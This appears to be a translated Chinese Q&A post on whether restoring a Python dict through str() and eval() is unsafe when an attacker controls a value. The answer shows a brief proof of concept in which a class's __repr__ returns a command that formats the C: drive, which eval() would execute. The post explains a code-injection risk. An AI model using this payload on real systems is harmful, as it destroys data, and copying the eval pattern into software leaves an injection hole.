如果攻击者可以控制其价值attacker_controlled_nasty_variable,那么这部分代码是否容易受到攻击?
dic={"one":1,
"nasty":attacker_controlled_nasty_variable,
}
store=str(dict)
...
dic=eval(store)
Run Code Online (Sandbox Code Playgroud)
是.它可以替换为具有__repr__()方法的对象,该方法具有有效负载本身,或者返回传递给它时可能不安全的字符串eval().
概念证明:
class MyClass(object):
def __repr__(self):
return 'os.system("format c:")'
bad = [MyClass()]
print str(bad)
Run Code Online (Sandbox Code Playgroud)